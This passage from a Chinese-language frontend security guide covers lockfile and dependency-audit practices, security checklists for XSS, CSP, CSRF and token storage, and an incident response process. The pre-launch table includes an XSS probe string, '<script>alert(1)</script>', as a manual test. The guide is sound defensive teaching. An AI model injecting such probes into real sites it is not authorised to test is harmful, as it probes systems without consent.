pnpm pnpm-lock.yaml 锁定精确版本和依赖树(推荐)

lockfile 最佳实践

# 1. lockfile 必须提交到 Git
git add pnpm-lock.yaml

# 2. CI 中使用 frozen lockfile 确保一致
pnpm install --frozen-lockfile

# 3. 定期更新 lockfile
pnpm update

# 4. 检查过时依赖
pnpm outdated

# 5. 检查并修复漏洞
pnpm audit

# 6. 检查哪些包有已知漏洞
pnpm audit --audit-level=high

❌ 常见错误

# ❌ 危险:lockfile 不在版本控制中
# .gitignore 中包含 package-lock.json

# ❌ 危险:CI 中没有使用 frozen-lockfile
npm install    # 可能生成不一样的依赖树

# ❌ 危险:使用 npm update 或手动修改 package.json 版本
# 而不检查 breaking changes

# ❌ 危险:未锁定的运行时代码
npm install lodash@latest  # latest 随时可能变化

7.5 依赖安全检查清单

检查项 频率 工具
npm audit 扫描 每次提交 / CI npm audit / pnpm audit
依赖自动更新 每周 Dependabot / Renovate
lockfile 一致性检查 每次构建 --frozen-lockfile
许可证合规检查 月度 license-checker
废弃包检查 月度 npm outdated
最小化依赖审计 季度 人工审查

八、前端安全检查清单

8.1 开发阶段

检查项 检查标准 责任人
XSS 防御 DOMPurify 用于 v-html / dangerouslySetInnerHTML,不使用 eval() 开发者
CSP 配置 生产环境配置 CSP,严格模式 'nonce-{random}' DevOps
HTTPS 强制 所有 API 请求使用 HTTPS,配置 HSTS DevOps
CSRF 防护 SameSite Cookie 配置,敏感操作 CSRF Token 校验 前后端协作
点击劫持 X-Frame-Options: DENY 或 CSP frame-ancestors DevOps
环境变量 不暴露密钥,VITE_ 前缀只包含可公开配置 开发者
Token 存储 使用 httpOnly Cookie,禁止 localStorage 存储 Token 开发者
日志脱敏 生产环境不 console 打印敏感数据 开发者
依赖扫描 npm audit 通过,高危漏洞已处理 CI
lockfile 提交 lockfile 在版本控制中 开发者

8.2 代码审查 Checklist

// 代码审查时检查以下模式:

// 1. ❌ 是否使用了 v-html / dangerouslySetInnerHTML?
//    如果是,是否使用了 DOMPurify?

// 2. ❌ 是否有 eval()、new Function()、setTimeout(string)?
//    一律禁止

// 3. ❌ 是否有硬编码的密钥/Token/密码?
//    所有密钥必须走环境变量或后端代理

// 4. ❌ 是否有 console.log 敏感数据?
//    审查是否有打印 Token、密码、完整请求体的代码

// 5. ❌ 是否有 localStorage.setItem('token')
//    使用 httpOnly Cookie 替代

// 6. ❌ 是否有 document.cookie 操作?
//    除非操作非 httpOnly 的 Cookie,否则应由服务端设置

// 7. ❌ 是否有直接拼接 HTML 字符串?
//    使用模板引擎或 createElement,避免 innerHTML

8.3 上线前验证

检查项 工具/方法 通过标准
CSP 验证 浏览器 DevTools Console 无 CSP 违规日志
HTTPS 检查 SSL Labs / SecurityHeaders.com A+ 评级
XSS 测试 手动注入 <script>alert(1)</script> 不执行且不显示
Clickjack 测试 在 iframe 中加载页面 加载失败 (DENY)
依赖安全 npm audit --audit-level=high 无高危漏洞
安全头检查 curl -I https://example.com 包含 CSP/HSTS/X-Frame

8.4 安全响应流程

发现安全漏洞
  │
  ├── 紧急漏洞(可被利用、影响用户数据)
  │     ├── 1小时内:确认漏洞并评估影响范围
  │     ├── 2小时内:制定修复方案
  │     ├── 4小时内:上线修复
  │     └── 24小时内:复盘总结
  │
  └── 普通漏洞(难以利用、影响面小)
        ├── 24小时内:确认漏洞
        ├── 下一个迭代:修复
        └── 修复后:复盘总结

总结

前端安全不是一个可以"一次性搞定"的任务,而是一个贯穿整个开发生命周期的持续过程。

安全防御原则

  1. 纵深防御:不要依赖单一安全措施,多层防线可以相互兜底
  2. 最小暴露:只暴露必要数据,只授予必要权限,只输出必要日志
  3. 默认安全:框架默认配置(自动转义、SameSite Lax)已经提供了很大保护,不要主动关闭
  4. 永不信任:不信任用户输入,不信任后端返回,不信任第三方代码
  5. 持续监控:依赖扫描、CSP 上报、安全头检测应持续运行

安全建设路径

第一阶段:基础防护
  ├── 启用 HTTPS + HSTS
  ├── 配置 CSP 严格策略
  ├── X-Frame-Options 阻止点击劫持
  └── SameSite Cookie 防御 CSRF

第二阶段:代码加固
  ├── DOMPurify 净化用户 HTML
  ├── 前端日志脱敏
  ├── Token 安全存储
  └── CSRF Token 配合

第三阶段:持续运营
  ├── npm audit / Dependabot 自动化
  ├── 安全头定期检测
  ├── 安全代码审查
  └── 安全事件应急响应

记住:前端安全没有银弹,真正的安全来自于对威胁的理解、对防御机制的深入掌握,以及在每个开发环节都保持安全意识。